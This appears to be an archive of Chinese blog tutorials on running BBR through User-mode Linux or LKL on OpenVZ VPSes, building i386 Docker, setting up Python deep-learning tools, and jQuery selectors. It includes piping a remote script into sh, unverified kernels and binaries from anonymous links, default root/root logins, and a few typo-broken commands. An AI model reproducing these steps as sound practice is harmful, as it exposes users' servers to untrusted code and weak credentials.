# short keepalive time
net.ipv4.tcp_keepalive_time = 1200
# outbound port range
net.ipv4.ip_local_port_range = 10000 65000
# max SYN backlog
net.ipv4.tcp_max_syn_backlog = 4096
# max timewait sockets held by system simultaneously
net.ipv4.tcp_max_tw_buckets = 5000
# turn on TCP Fast Open on both client and server side
net.ipv4.tcp_fastopen = 3
# TCP receive buffer
net.ipv4.tcp_rmem = 4096 87380 67108864
# TCP write buffer
net.ipv4.tcp_wmem = 4096 65536 67108864
# turn on path MTU discovery
net.ipv4.tcp_mtu_probing = 1
#BBR
net.core.default_qdisc = fq
net.ipv4.tcp_congestion_control = bbr #tsunami

镜像设定完毕后，卸载掉镜像。

umount ./alpine

2，制作UML的可执行文件vmlinux

安装依赖

apt-get install build-essential libncurses5-dev bc screen

在https://www.kernel.org/上找到需要的内核。

这里以4.10.1内核为例。

wget https://cdn.kernel.org/pub/linux/kernel/v4.x/linux-4.10.1.tar.xz
tar xf linux-4.10.1.tar.xz
rm linux-4.10.1.tar.xz
cd linux-4.10.1
make defconfig ARCH=um
make menuconfig ARCH=um

——————————————————

如需编译变态版BBR即tsunami，需要添加以下步骤再执行上述make命令。

参考当时bbr的提交https://patchwork.ozlabs.org/patch/671069/

vi net/ipv4/Kconfig

（在bbr附近添加）

config TCP_CONG_TSUNAMI
   tristate "BBR tsunami TCP"
   default y
   ---help---

   BBR (Bottleneck Bandwidth and RTT) TCP congestion control aims to
   maximize network utilization and minimize queues. It builds an explicit
   model of the the bottleneck delivery rate and path round-trip
   propagation delay. It tolerates packet loss and delay unrelated to
   congestion. It can operate over LAN, WAN, cellular, wifi, or cable
   modem links. It can coexist with flows that use loss-based congestion
   control, and can operate with shallow buffers, deep buffers,
   bufferbloat, policers, or AQM schemes that do not provide a delay
   signal. It requires the fq ("Fair Queue") pacing packet scheduler.

vi net/ipv4/Makefile
（在bbr附近添加）

obj-$(CONFIG_NET_TCPPROBE) += tcp_probe.o

+obj-$(CONFIG_TCP_CONG_BBR) += tcp_tsunami.o

obj-$(CONFIG_TCP_CONG_BBR) += tcp_bbr.o
obj-$(CONFIG_TCP_CONG_BIC) += tcp_bic.o
obj-$(CONFIG_TCP_CONG_CDG) += tcp_cdg.o

添加源码

wget -O net/ipv4/tcp_tsunami.c https://gist.github.com/anonymous/ba338038e799eafbba173215153a7f3a/raw/55ff1e45c97b46f12261e07ca07633a9922ad55d/tcp_tsunami.c

——————————————————

在配置菜单中，除了把TCP_BBR选上，还要保证内核支持net.ipv4.tcp_syncookies和net.core.default_qdisc选项。

通过按空格来选择项目，只有*状态才是构建，下面是基本的内容。

UML-specific options 
    ==> [*] Force a static link 
Device Drivers
    ==> [*] Network device support
        ==> <*> Universal TUN/TAP device driver support
[*] Networking support
    ==> Networking options
        ==> [*] IP: TCP syncookie support
        ==> [*] TCP: advanced congestion control
            ==> <*> BBR TCP
            ==> <*> Default TCP congestion control (BBR)
        ==> [*] QoS and/or fair queueing
            ==> <*> Quick Fair Queueing scheduler (QFQ)
            ==> <*> Controlled Delay AQM (CODEL)
            ==> <*> Fair Queue Controlled Delay AQM (FQ_CODEL)
            ==> <*> Fair Queue

配置完成后开始构建以及可执行文件减肥

make ARCH=um vmlinux
strip -s vmlinux

3，在UML中配置Apline Linux

为了让Apline Linux有网可用，外部网络可穿透9000-19000端口到内部，要在宿主机上开启tap，设置iptables

D_I=`ip route show 0/0 | sort -k 7 | head -n 1 | sed -n 's/^default.* dev \([^ ]*\).*/\1/p'`
sudo ip tuntap add tap0 mode tap  
sudo ip addr add 10.0.0.1/24 dev tap0  
sudo ip link set tap0 up  
sudo iptables -P FORWARD ACCEPT
sudo iptables -t nat -A POSTROUTING -o ${D_I} -j MASQUERADE
sudo iptables -t nat -A PREROUTING -i ${D_I} -p tcp --dport 9000:19000 -j DNAT --to-destination 10.0.0.2

然后，开启镜像

sudo ./vmlinux ubda=alpine_mini rw eth0=tuntap,tap0 mem=64m

通过screen命令来操作小虚拟机，下面的X，根据具体情况修改。

screen /dev/pts/X

系统默认下，root用户没有密码。系统中，可以执行setup-alpine命令来一步一步配置系统。

需要注意的是网络设定，Ip address for eth0=10.0.0.2，gateway=10.0.0.1，netmask=255.255.255.0，DNS nameserver=8.8.8.8。

其他的根据自己需要来设定。

开机自启的网络有bug，需要重新启动网络才可用。

这里选择设定开机自启动脚本来简单修复下。

rc-update add local default

索性加入swapfile和ss的开机自启动，先创建swapfile

dd if=/dev/zero of=/swapfile bs=1M count=64
chmod 600 /swapfile

然后用vi编辑/etc/local.d/my.start文件

#!/bin/sh
# swap on
/sbin/mkswap /swapfile
/sbin/swapon /swapfile
# fix net
sleep 3
/etc/init.d/networking restart
# ss
/usr/bin/nohup /usr/local/bin/ss-goserver -c /etc/shadowsocks-go/config.json > /dev/null 2>&1 &

不要忘了加上可写的权限

chmod +x /etc/local.d/my.start

最后，reboot一下看看配置是否都生效了。

如果需要安装其他的软件的话，例如curl，可以使用它提供的包管理软件apk

apk add curl

查看策略状态

sysctl net.ipv4.tcp_available_congestion_control
sysctl net.ipv4.tcp_congestion_control
sysctl -w net.ipv4.tcp_congestion_control=bbr #tsunami

4，总结

实际上镜像和vmlinux只需要做一遍，在其他的64位linux系统上，配置好tap和转发，再次复用它们即可。

https://github.com/fanyueciyuan/eazy-for-ss/tree/master/openvz-bbr

添加tsunami编译的x86版本vmlinux

链接: https://pan.baidu.com/s/1jHNPrlO 密码: uycu

alpine镜像及vmlinux内核

链接: https://pan.baidu.com/s/1jHNPr8a 密码: fav5

x86运行docker服务

Sat, 01 Jul 2017 12:29:12 GMT

docker官方默认只支持x64架构的系统作为host，而如果安装的系统是32位，或者cpu根本就只支持32位，那还有机会使用docker来开启服务吗？当然可以。当然，32位的host，运行的docker镜像也是32位的。

经过一番谷歌，可以查到一些文章，本文主要受这篇启发，但编译过程遇到很多麻烦，以至于最终过程与文中差异很大，所以重新写一篇文章来说说如何编译dockerd-i386。

按照文中的方案，我们需要一个x64系统的linux来运行docker-dev镜像来编译docker。这里我们使用虚拟机安装linux mint18.1。记得安装64位版本。

安装过程省略，下面进入正题，编译docker。

1.安装git和编译工具

sudo apt-get install git-all build-essential

2.安装docker
这里我推荐使用国内的加速。参考http://get.daocloud.io/。

curl -sSL https://get.daocloud.io/docker | sh

并且添加加速源。https://www.daocloud.io/mirror#accelerator-doc，或使用阿里服务https://cr.console.aliyun.com/#/accelerator。均需要登陆。

sudo vi /etc/docker/daemon.json

{
        "registry-mirrors": [
                "链接"
        ],
        "insecure-registries":[]
}

3.下载docker源码，这里不推荐使用git下载最新版，而是去release页面下载稳定版https://github.com/moby/moby/releases

wget https://github.com/moby/moby/archive/v17.05.0-ce.tar.gz

tar xzvf *.tar.gz

4.进入到源码目录，然后修改Dockerfile

FROM debian:jessie
改为
FROM 32bit/debian:jessie

中间有很多curl命令，有些访问困难，应当在curl命令中添加-x ip:port的http代理。

同样，git下载困难的时候，应当添加代理

RUN git config --global http.proxy http://ip:port

修改下载的go版本

RUN curl -fsSL "https://golang.org/dl/go${GO_VERSION}.linux-amd64.tar.gz" \

改为

RUN curl -fsSL "https://golang.org/dl/go${GO_VERSION}.linux-386.tar.gz" \

编译过程中发现有一部分编译不过，酌情注释掉

# Install CRIU for checkpoint/restore support
ENV CRIU_VERSION 2.12.1
# Install dependancy packages specific to criu
RUN apt-get install libnet-dev -y && \
   mkdir -p /usr/src/criu \
   && curl -sSL https://github.com/xemul/criu/archive/v${CRIU_VERSION}.tar.gz | tar -v -C /usr/src/criu/ -xz --strip-components=1 \
   && cd /usr/src/criu \
   && make \
&& make install-criu

酌情注释掉下载困难的一部分

# Get useful and necessary Hub images so we can "docker load" locally instead of pulling
COPY contrib/download-frozen-image-v2.sh /go/src/github.com/docker/docker/contrib/
RUN ./contrib/download-frozen-image-v2.sh /docker-frozen-images \
   buildpack-deps:jessie@sha256:85b379ec16065e4fe4127eb1c5fb1bcc03c559bd36dbb2e22ff496de55925fa6 \
   busybox:latest@sha256:32f093055929dbc23dec4d03e09dfe971f5973a9ca5cf059cbfb644c206aa83f \
   debian:jessie@sha256:72f784399fd2719b4cb4e16ef8e369a39dc67f53d978cd3e2e7bf4e502c7b793 \
hello-world:latest@sha256:c5515758d4c5e1e838e9cd307f6c6a0d620b5e07e6f927b07d05f6d12a1ac8d7

5.创建docker-dev镜像，若出错考虑修改上述文件添加代理，或注释掉相应部分。成功后可以docker images看到刚编译好的镜像

make build

6.编译最终docker for x86

make binary

编译后的文件保存在bundles/latest/binary，保存使用。

————————————————————————————————————————————————————————————————————————

所以，如果以上都不想看，直接下载编译好的文件。

下载：

链接: https://pan.baidu.com/s/1eSw2lf8 密码: anr5

将binary-daemon添加到环境中，然后sudo dockerd开机服务，再到binary-client中获取docker，其他和正常安装无异。

可用的一些镜像：

https://hub.docker.com/r/32bit/debian/

https://hub.docker.com/r/32bit/ubuntu/

https://hub.docker.com/r/i386/alpine/tags/

bearqq/debian-x86-ssh

anaconda+pytorch+tensorflow+keras

Thu, 20 Jul 2023 01:46:00 GMT

环境

conda create --name py37 python=3.7
activate py37

新版本

pip install jupyterlab

jupyter lab

经典版本

#pip install ipykernel

pip install jupyter

python -m ipykernel install --user --name py37 --display-name "py37"

外部访问

生成配置文件

jupyter notebook --generate-config

（记录下地址）

生成密码
打开ipython，创建一个密文的密码

In [1]: from notebook.auth import passwd
In [2]: passwd()
Enter password:
Verify password:
Out[2]: 'sha1:22bd77296e00:01bc151a1f7a6de107d31772e9c6c2ccaa773529'

修改默认配置文件
vi ~/.jupyter/jupyter_notebook_config.py

c.NotebookApp.ip='*'
c.NotebookApp.password = u'sha1:22...刚才复制的那个密文'
c.NotebookApp.open_browser = False
c.NotebookApp.port =8888

jupyter notebook

pytorch

conda install pytorch torchvision cudatoolkit=10.1 -c pytorch

更新的版本1.13.1：

pip install torch==1.13.1+cu117 torchvision==0.14.1+cu117 --extra-index-url https://download.pytorch.org/whl/cu117

https://pytorch.org/get-started/locally/

版本2.0：

pip install torch==2.0.0+cu118 torchvision==0.15.1+cu118 -f https://mirror.sjtu.edu.cn/pytorch-wheels/torch_stable.html -i https://mirrors.bfsu.edu.cn/pypi/web/simple -U
pip install -U -I --no-deps xformers==0.0.17rc482 -i https://mirrors.aliyun.com/pypi/simple/

版本2.0.1：

pip install torch==2.0.1+cu118 torchvision==0.15.2+cu118 torchaudio --extra-index-url https://download.pytorch.org/whl/cu118

tensorflow

https://developer.nvidia.com/cuda-downloads
https://developer.nvidia.com/compute/cuda/8.0/Prod2/local_installers/cuda_8.0.61_win10-exe

https://developer.nvidia.com/cudnn
http://developer2.download.nvidia.com/compute/machine-learning/cudnn/secure/v5.1/prod_20161129/8.0/cudnn-8.0-windows10-x64-v5.1.zip

pip install tensorflow-gpu

keras

conda install theano
conda install mingw libpython
pip install tensorflow
pip install keras
conda install h5py

mxnet

By popular demand, DMLC has added MXNet support for Keras. Please follow these steps for having it:

    After having CUDA driver, install MXNet like
    pip install mxnet-cu80

    Install Keras with MXNet support:
    git clone --recursive https://github.com/dmlc/keras
    cd keras
    python setup.py install

    Assign MXNet as Keras backend:
    KERAS_BACKEND=mxnet python -c "from keras import backend"

    “Using MXNet backend.” means Keras+MXNet is successfully installed. Enjoy.

    Q&A:
        I am using Windows, can I have it? Yes, just replace step 1 with pip install mxnet-cu80-win
        I don’t have a GPU, can I have a try? Yes, just replace step 1 with pip install mxnet or pip install mxnet–mkl if you have Intel CPU(s).
        How is compared to TensorFlow backend? em, do you want to benchmark it? Please feel free to submit benchmark results and bugs to github issue.

OpenVZ 开启 BBR 之最简方法 - Linux Kernel Library

Fri, 01 Dec 2017 01:39:22 GMT

转自 https://www.v2ex.com/t/353778

*** 序 ***

首先感谢 91yun 的 linhua ：
https://www.91yunbbs.com/discussion/comment/1382/#Comment_1382

2 个相关链接：
https://www.netdevconf.org/2.1/session.html?tazaki
https://github.com/lkl/linux

*** 教程从这里开始 ***

# 先去 VPS 的 Panel 里打开 TUN/TAP 功能

# 创建一个 tap0
ip tuntap add tap0 mode tap
ip addr add 10.0.0.1/24 dev tap0
ip link set tap0 up

# 打通 tap0 和 host 之间的网络
iptables -P FORWARD ACCEPT
iptables -t nat -A POSTROUTING -o venet0 -j MASQUERADE

# 假设我们准备在 443 端口开启 BBR
iptables -t nat -A PREROUTING -i venet0 -p tcp --dport 443 -j DNAT --to-destination 10.0.0.2

# 安装 haproxy ，并禁止开机自启
apt-get install haproxy
update-rc.d haproxy disable

# 新建一个 /root/haproxy/haproxy.cfg
# 假设你原来的 server 监听的是 12580 端口， BBR 的端口开在 443 。

global
user haproxy
group haproy

defaults
mode tcp
timeout connect 5s
timeout client 60s
timeout server 60s

listen shadowsocks
bind 10.0.0.2:443
server server1 10.0.0.1:12580

# 下载 Linux Kernel Library ，解压到 /root/haproxy
# https://drive.google.com/file/d/0ByqeeKN198fcdDVLMmVKakl5VE0/view?usp=sharing
tar -xzvf liblkl-hijack.so.tgz

# 是时候开启 haproxy 为 BBR 过桥了，以下命令必须一行打完
LD_PRELOAD=/root/haproxy/liblkl-hijack.so LKL_HIJACK_NET_QDISC="root|fq" LKL_HIJACK_SYSCTL="net.ipv4.tcp_congestion_control=bbr;net.ipv4.tcp_wmem=4096 65536 67108864" LKL_HIJACK_NET_IFTYPE=tap LKL_HIJACK_NET_IFPARAMS=tap0 LKL_HIJACK_NET_IP=10.0.0.2 LKL_HIJACK_NET_NETMASK_LEN=24 LKL_HIJACK_NET_GATEWAY=10.0.0.1 LKL_HIJACK_OFFLOAD="0x8883" haproxy -f /root/haproxy/haproxy.cfg

*** 大功告成！ ***

现在可以用客户端连上试试看了
12580 是原来 server 的端口
443 是开启 BBR 以后的端口

*** 后记 ***

# 如果需要把原来 12580 端口的 UDP 协议也转发到 443 端口，可以添加以下命令
iptables -t nat -A PREROUTING -i venet0 -p udp --dport 443 -j REDIRECT --to-port 12580

更新脚本

# 既然你们都喜欢快餐，那我提供一个脚本吧。
# 手动调试成功后，就可用下面脚本设置开机自启。

# 安装 supervisor ，添加配置文件，用于开机自启
# /etc/supervisor/conf.dhaproxy-lkl.conf

[program:haproxy-lkl]
command=/root/haproxy/haproxy-lkl-start
autostart=true
autorestart=true
redirect_stderr=true
stdout_logfile=/root/haproxy/haproxy-lkl_stdout.log
stdout_logfile_maxbytes=1MB
stderr_logfile=/root/haproxy/haproxy-lkl_stderr.log
stderr_logfile_maxbytes=1MB

# haproxy 配 Linux Kernel Library 的启动脚本。
# 原来的服务监听 12580 端口。开启 BRR 后，新的监听端口在 443 。
# /root/haproxy/haproxy-lkl-start

#!/bin/sh

ip tuntap add tap0 mode tap
ip addr add 10.0.0.1/24 dev tap0
ip link set tap0 up

iptables -P FORWARD ACCEPT

iptables -t nat -D PREROUTING -i venet0 -p tcp --dport 443 -j DNAT --to-destination 10.0.0.2
iptables -t nat -A PREROUTING -i venet0 -p tcp --dport 443 -j DNAT --to-destination 10.0.0.2

iptables -t nat -D PREROUTING -i venet0 -p udp --dport 443 -j REDIRECT --to-port 12580
iptables -t nat -A PREROUTING -i venet0 -p udp --dport 443 -j REDIRECT --to-port 12580

export LD_PRELOAD=/root/haproxy/liblkl-hijack.so
export LKL_HIJACK_NET_QDISC="root|fq"
export LKL_HIJACK_SYSCTL="net.ipv4.tcp_congestion_control=bbr;net.ipv4.tcp_wmem=4096 65536 67108864"
export LKL_HIJACK_NET_IFTYPE=tap
export LKL_HIJACK_NET_IFPARAMS=tap0
export LKL_HIJACK_NET_IP=10.0.0.2
export LKL_HIJACK_NET_NETMASK_LEN=24
export LKL_HIJACK_NET_GATEWAY=10.0.0.1
export LKL_HIJACK_OFFLOAD="0x8883"
export LKL_HIJACK_DEBUG=1

haproxy -f /root/haproxy/haproxy.cfg

# Enjoy~~~

https://www.91yun.org/archives/6281

LKL 使用前置需求

LKL 要求 ldd 的版本至少在 2.14 ，目前我测试下来，如果不想折腾建议直接安装 CentOS7 ， Debian8 和 Ubuntu16
安装包只使用 64bit 的系统。
默认的端口转发只转发了 9000-9999 的端口，如果你不想费心修改，请把 ssr 等应用的端口设在这个范围
只适用 openvz ，请他虚拟请参考原帖自己折腾。。

一键

https://github.com/91yun/uml/raw/master/lkl/install.sh

另外的一键

https://github.com/nanqinlang-tcp/tcp_nanqinlang

rinted方案

https://github.com/mixool/rinetd

ping 10.0.0.2

如果 10.0.0.2 能 ping 通说明成功， ping 不通说明失败

如果修改转发端口

修改 /root/lkl/run.sh ，查找 9000-9999 ，改成你想要的端口段
修改 /root/lkl/haproxy.cfg 查找 9000-9999 ，改成你想要的端口段
重启 vps

OpenVZ uml 开启 BBR 之最小镜像，仅需16M内存！

Sun, 25 Jun 2017 08:42:27 GMT

OpenVZ VPS安装User-mode Linux实现Google BBR加速

本文转自： https://blog.amayume.net/openvz-vps-an-zhuang-user-mode-linux-yi-shi-xian-bbr-yong-sai-kong-zhi/

http://51.ruyo.net/p/3198.html

本文介绍OpenVZ虚拟VPS安装Google BBR！

该教程博主并未尝试，请酌情使用。自行备份重要数据。

其他虚拟或者独服请参考另一篇文章：

>>> Google BBR 优化算法，实现TCP加速

前言

为啥要装 BBR？据说适合国情。主要目的还是练习 User-mode Linux (UML)。

安装 UML

先装工具链：

sudo apt-get install build-essential libncurses5-dev

因为需要 BBR，先弄到超前版内核树 net-next，还有对应 UML 的内核配置

git clone git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-next.git  
cd net-next  
make defconfig ARCH=um

也可以 export ARCH=um，方便一些。

配置内核使用 BBR：

make menuconfig ARCH=um

进入配置菜单，进入 Networking support → Networking options → TCP: advanced congestion control 页面，移到 BBR TCP，按两下空格直到变成 <*> BBR TCP。下方 Default TCP congestion control 回车选 BBR。一路 Exit，保存。

make ARCH=um vmlinux -j2 编译。

在 UML 中安装 Arch Linux

基本与在 Ubuntu 下安装新 Arch 一样。

先装一个只读的 rootfs

因为 UML 对 hostfs 的限制，hostfs 一定是只读的，而 OpenVZ 也没有 loop 设备，无法直接挂载磁盘镜像，故我们要先装个只读的 rootfs 来启动 UML，在 UML 中挂镜像。（Ref：PeterCxy 的 Blog）

# 先下载 Arch 最新的 Bootstrap 包：
cd ~  
wget http://mirror.rackspace.com/archlinux/iso/latest/archlinux-bootstrap-2016.12.01-x86_64.tar.gz  
tar xzf archlinux-bootstrap-2016.12.01-x86_64.tar.gz  
mv root.x86_64 root  
sudo nano root/etc/resolv.conf  
# 加上一行 nameserver 8.8.8.8，保存
sudo mount --rbind /proc root/proc  
sudo mount --rbind /sys root/sys  
sudo mount --rbind /dev root/dev  
sudo mount -t tmpfs tmpfs root/tmp  
sudo mount --rbind /root root/root  
sudo nano root/etc/pacman.d/mirrorlist  
# 搜索离你最近的国家镜像，去掉对应的注释
# 进入 chroot
sudo root/bin/arch-chroot root /bin/bash  
# 此时已经进入 chroot 环境
pacman-key --init  
pacman-key --populate archlinux  
# 安装基础系统
pacman -Sy base  
# 改控制台，也可以不改，通过 screen 连接 pts
systemctl enable getty@tty0  
systemctl disable getty@tty1  
# 退出 chroot
exit  
# 解除 rbind
sudo umount root/{dev,proc,sys,tmp}

此时在 root 文件夹下就有了完整的 rootfs，可以启动 UML 了。

设置网络

首先在主机商的面板（SolusVM）打开 TUN/TAP 功能。一般能做 VPN（PPTP、L2TP等）的 VPS 都有这个选项。

之后配置 TAP 设备：

sudo ip tuntap add tap0 mode tap  
sudo ip addr add 10.0.0.1/24 dev tap0  
sudo ip route add default via 10.0.0.1 dev venet0:0  
sudo ip link set tap0 up  
sudo iptables -P FORWARD ACCEPT  
sudo iptables -t nat -A POSTROUTING -o venet0:0 -j MASQUERADE

安装 Arch 到镜像

cd ~/net-next  
dd if=/dev/zero of=rootfs.img bs=1MB count=6000 # 创建一个 6GB 的镜像  
mount -o remount,size=2G /dev/shm # 改一下 tmpfs 大小，防止爆内存
 
# 启动到 UML
sudo ./vmlinux root=/dev/root rootfstype=hostfs hostfs=./root ubd0=rootfs.img eth0=tuntap,tap0 mem=256m

mem 是内存大小，此处取 256M（可以根据你的内存情况修改）。
此时已经有 UML 的 shell，可以开始安装系统了。用户名 root，没有密码。

ip link set eth0 up  
ip addr add 10.0.0.2/24 dev eth0  
ip route add default via 10.0.0.1 dev eth0
 
# 制作文件系统
mkfs.ext4 /dev/ubda  
mount /dev/ubda /mnt  
mkdir -p /mnt/var/lib/pacman  
pacman -Sy base -r /mnt  
pacman -Sy havaged -r /mnt # entropy 生成器
 
mount --rbind /proc /mnt/proc  
mount --rbind /sys /mnt/sys  
mount --rbind /dev /mnt/dev  
mount -t tmpfs tmpfs /mnt/tmp  
mount --rbind /root /mnt/root
 
chroot /mnt /bin/bash  
nano /etc/pacman.d/mirrorlist # mirrorlist

编辑网络配置：

nano /etc/systemd/network/50-static.network

加入

[Match]
Name=eth0
 
[Network]
Address=10.0.0.2/24  
Gateway=10.0.0.1

同上，enable 各项服务，配置时区、locale 等：

sudo nano root/etc/resolv.conf
# 加上一行 nameserver 8.8.8.8，保存

systemctl enable systemd-networkd
systemctl enable getty@tty0
systemctl disable getty@tty1

ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
sed -i 's/#en_US.UTF/en_US.UTF/' /etc/locale.gen
locale-gen
echo 'LANG=en_US.UTF-8' > /etc/locale.conf
echo 'umlarch' > /etc/hostname # 配置主机名
nano /etc/hosts # 加入 127.0.1.1 umlarch.localdomain umlarch
mkinitcpio -p linux # 应该不需要，以防万一
genfstab -U /mnt >> /mnt/etc/fstab # fstab
shutdown -h 0 # 关闭 UML

现在配置已经基本完成，改变一下命令行，从新建的镜像启动：

sudo ./vmlinux root=/dev/ubda ubd0=rootfs.img eth0=tuntap,tap0 mem=256m  
pacman-key --init  
pacman-key --populate archlinux

搞定。

配置端口转发

先给自己留下 SSH 端口~

sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j RETURN

然后其他的端口全转发走啦：

sudo iptables -t nat -A PREROUTING -i venet0 -j DNAT --to-destination 10.0.0.2

安装 shadowsocks-go

做了 AUR 源，见 https://github.com/ProfFan/shadowsocks-go 。

Clone 后 makepkg -si 即可。

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以下全文转载自 https://plus.google.com/108855478531549571757/posts/DabLxwHAwGH

【原创】OpenVZ uml 开启 BBR 之最小镜像，仅需16M内存！

# 转帖请注明出处，这是最起码的尊重。
# 世界本就如此艰难，何必还要让它更艰难呢。

# 先去VPS的Panel里打开TUN/TAP功能

# 下载定做好的kernel和rootfs并传到VPS上
https://drive.google.com/open?id=0ByqeeKN198fcNm04a1pBSzdXU3M

# 解压并进入目录
tar -xzvf alpine_16m.tgz
cd alpine_16m

# 安装uml的包
apt-get install uml-utilities

# 为uml创建一个虚拟网口
ip tuntap add tap0 mode tap
ip addr add 10.0.0.1/24 dev tap0
ip link set tap0 up

# 打通uml和host之间的网络
echo '1' > /proc/sys/net/ipv4/ip_forward
iptables -P FORWARD ACCEP
iptables -t nat -A POSTROUTING -o venet0 -j MASQUERADE

# 转发host的30022端口到uml的ssh方便以后管理
# 端口可以在uml里的/etc/init.d/dropbear文件里修改
# 默认用户名和密码都是root，登录后请立即修改！
iptables -t nat -A PREROUTING -i venet0 -p tcp --dport 30022 -j DNAT --to-destination 10.0.0.2

# 转发host的38388端口到uml的ss-libev
# 端口可以在uml里的/etc/shadowsocks-libev/config.json文件里修改
iptables -t nat -A PREROUTING -i venet0 -p tcp --dport 38388 -j DNAT --to-destination 10.0.0.2
iptables -t nat -A PREROUTING -i venet0 -p udp --dport 38388 -j DNAT --to-destination 10.0.0.2

# 可以打开uml了，分配了16M内存给它吧
nohup ./vmlinux ubda=alpine_16m rw eth0=tuntap,tap0 mem=16M > /dev/null &

# 打开ss客户端，ip是你原来VPS的ip，默认端口：38388，密码：barfoo!，加密方式：rc4-md5。

Enjoy!

后记1：各位喜欢折腾的，下面链接是 Alpine Linux v3.5.2 开好BBR的 uml 纯净版底包。推荐32M内存启动后，折腾各种软件包用。e.g. "apk add wget"
https://drive.google.com/open?id=0ByqeeKN198fccHd4dE5YbmN6R00

其他资料：

alpine

https://wiki.alpinelinux.org/wiki/Installation

Warning: You will need Kernel version 2.6.22 or later to use apk-tools-static

Download the latest apk static package (replace ${version} with actual version):

wget ${mirror}/latest-stable/main/x86_64/apk-tools-static-${version}.apk

.apk packages are just gzipped tarballs, unpack using:

tar -xzf apk-tools-static-*.apk

Install the alpine base installation onto the chroot

./sbin/apk.static -X ${mirror}/latest-stable/main -U --allow-untrusted --root ${chroot_dir} --initdb add alpine-base #--arch x86

http://nl.alpinelinux.org/alpine/MIRRORS.txt

https://raw.githubusercontent.com/91yun/uml/master/bbr/ubuntu.sh

魔改版一键

https://liyuans.com/archives/altered-bbr-onekey-script-collection.html

jQuery选择器用法

Tue, 31 Jan 2017 04:20:30 GMT

原文链接：http://caibaojian.com/jquery-selectors.html

viajQuery选择器是jQuery库的一大特色，用这些选择器不但可以省去繁琐的javascript 书写方式，还可以节省时间和效率，正是有这些jQuery选择器，才让我们更容易的操作JavaScript的dom。原文来自：http://caibaojian.com/jquery-selectors.html

1).基本选择器

·#id 根据给定的ID匹配一个元素。例如：$("#id")
·element 根据给定的元素名匹配所有元素。例如：$("div")
·.class 根据给定的类匹配元素。例如：$(".style1");
·* 匹配所有元素。例如：$("*")
·selector1,selector2,selectorN 将每一个选择器匹配到的元素合并后一起返回。例如：$("#id,div,.style1")

2).表单选择器

·:button 匹配所有按钮。例如：$(":button")
·:checkbox 匹配所有复选框。例如：$(":checkbox")
·:file 匹配所有文件域。例如：$(":file")
·:hidden 匹配所有不可见元素，或者type为hidden的元素。例如：$("input:hidden")
·:image 匹配所有图像域。例如：$(":image")
·:input 匹配所有 input, textarea, select 和 button 元素。例如：$(":input")
·:password 匹配所有密码框。例如：$(":password")
·:radio 匹配所有单选按钮。例如：$(":radio")
·:reset 匹配所有重置按钮。例如：$(":reset")
·:submit 匹配所有提交按钮。例如：$(":submit")
·:text 匹配所有的单行文本框。例如：$(":text")
·:header 匹配如 h1, h2, h3之类的标题元素。例如：$(":header").css("background", "#EEE");

2.筛选条件选择器

1).jQuery属性选择器

·[attribute*=value] 匹配给定的属性是以包含某些值的元素。例如：$("input[name*='man'")
·[attribute!=value] 匹配所有含有指定的属性，但属性不等于特定值的元素。例如：$(input[name!='man');
·[attribute$=value] 匹配给定的属性是以某些值结尾的元素。例如：$("input[name$='man']")
·[attribute=value] 匹配给定的属性是某个特定值的元素。例如：$("input[name='man']");
·[attribute] 匹配包含给定属性的元素。例如：$("div[id]")
·[attribute^=value] 匹配给定的属性是以某些值开始的元素。例如：$("input[name^='man']")
·[selector1][selector2][selectorN] 同时满足多个条件。例如：$("input[id][name$='man']")
·:hidden 匹配所有的不可见元素。例如：$("tr:hidden")
·:visible 匹配所有的可见元素。例如：$("tr:visible")
·:checked 匹配所有选中的被选中元素(复选框、单选框等，不包括select中的option)。例如：$("input:checked")
·:disabled 匹配所有不可用元素。例如：$("input:disabled")
·:enabled 匹配所有可用元素。例如：$("input:enabled")
·:selected 匹配所有选中的option元素。例如：$("select option:selected")

2).jQuery内容选择器

·:contains(text) 匹配包含给定文本的元素。例如：$("div:contains('John')")
·:empty 匹配所有不包含子元素或者文本的空元素。例如：$("td:empty")
·:has(selector) 匹配含有选择器所匹配的元素的元素。例如：$("div:has(p)");
·:parent 匹配含有子元素或者文本的元素。例如：$("td:parent")

3).jQuery层级选择器

·ancestor descendant 在给定的祖先元素下匹配所有的后代元素。例如：$("form input")
·parent > child 在给定的父元素下匹配所有的子元素。例如：$("form > input")
·prev + next 匹配所有紧接在 prev 元素后的 next 元素。例如：$("label + input")
·prev ~ siblings 匹配 prev 元素之后的所有 siblings 元素。例如：$("form ~ input")
·:first-child 匹配第一个子元素。例如：$("ul li:first-child")
·:last-child 匹配最后一个子元素。例如：$("ul li:last-child")
·:nth-child(index/even/odd/equation) 匹配其父元素下的第N个子或奇偶元素。例如：$("ul li:nth-child(2)")
·:only-child 如果某个元素是父元素中唯一的子元素，那将会被匹配。例如：$("ul li:only-child")

4).jQuery方法选择器

·:animated 匹配所有正在执行动画效果的元素。例如：$("div:animated");
·:eq(index) 匹配一个给定索引值的元素。例如：$("tr:eq(1)")
·:even 匹配所有索引值为偶数的元素，从 0 开始计数。例如：$("tr:even")
·:first 匹配找到的第一个元素。例如：$("tr:first")
·:gt(index) 匹配所有大于给定索引值的元素，从 0 开始计数。例如：$("tr:gt(0)")
·:last 匹配找到的最后一个元素。例如：$("tr:last")
·:lt(index) 匹配所有小于给定索引值的元素。例如：$("tr:lt(2)")
·:not(selector) 去除所有与给定选择器匹配的元素。例如：$("input:not(:checked)")
·:odd 匹配所有索引值为奇数的元素，从 0 开始计数。例如：$("tr:odd")

看下面这张表格：

选择器	实例	选取
*	$("*")	所有元素
#id	$("#lastname")	id="lastname" 的元素
.class	$(".intro")	所有 class="intro" 的元素
element	$("p")	所有 <p> 元素
.class.class	$(".intro.demo")	所有 class="intro" 且 class="demo" 的元素

:first	$("p:first")	第一个 <p> 元素
:last	$("p:last")	最后一个 <p> 元素
:even	$("tr:even")	所有偶数 <tr> 元素
:odd	$("tr:odd")	所有奇数 <tr> 元素

:eq(index)	$("ul li:eq(3)")	列表中的第四个元素（index 从 0 开始）
:gt(no)	$("ul li:gt(3)")	列出 index 大于 3 的元素
:lt(no)	$("ul li:lt(3)")	列出 index 小于 3 的元素
:not(selector)	$("input:not(:empty)")	所有不为空的 input 元素

:header	$(":header")	所有标题元素 <h1> - <h6>
:animated		所有动画元素

:contains(text)	$(":contains('W3School')")	包含指定字符串的所有元素
:empty	$(":empty")	无子（元素）节点的所有元素
:hidden	$("p:hidden")	所有隐藏的 <p> 元素
:visible	$("table:visible")	所有可见的表格

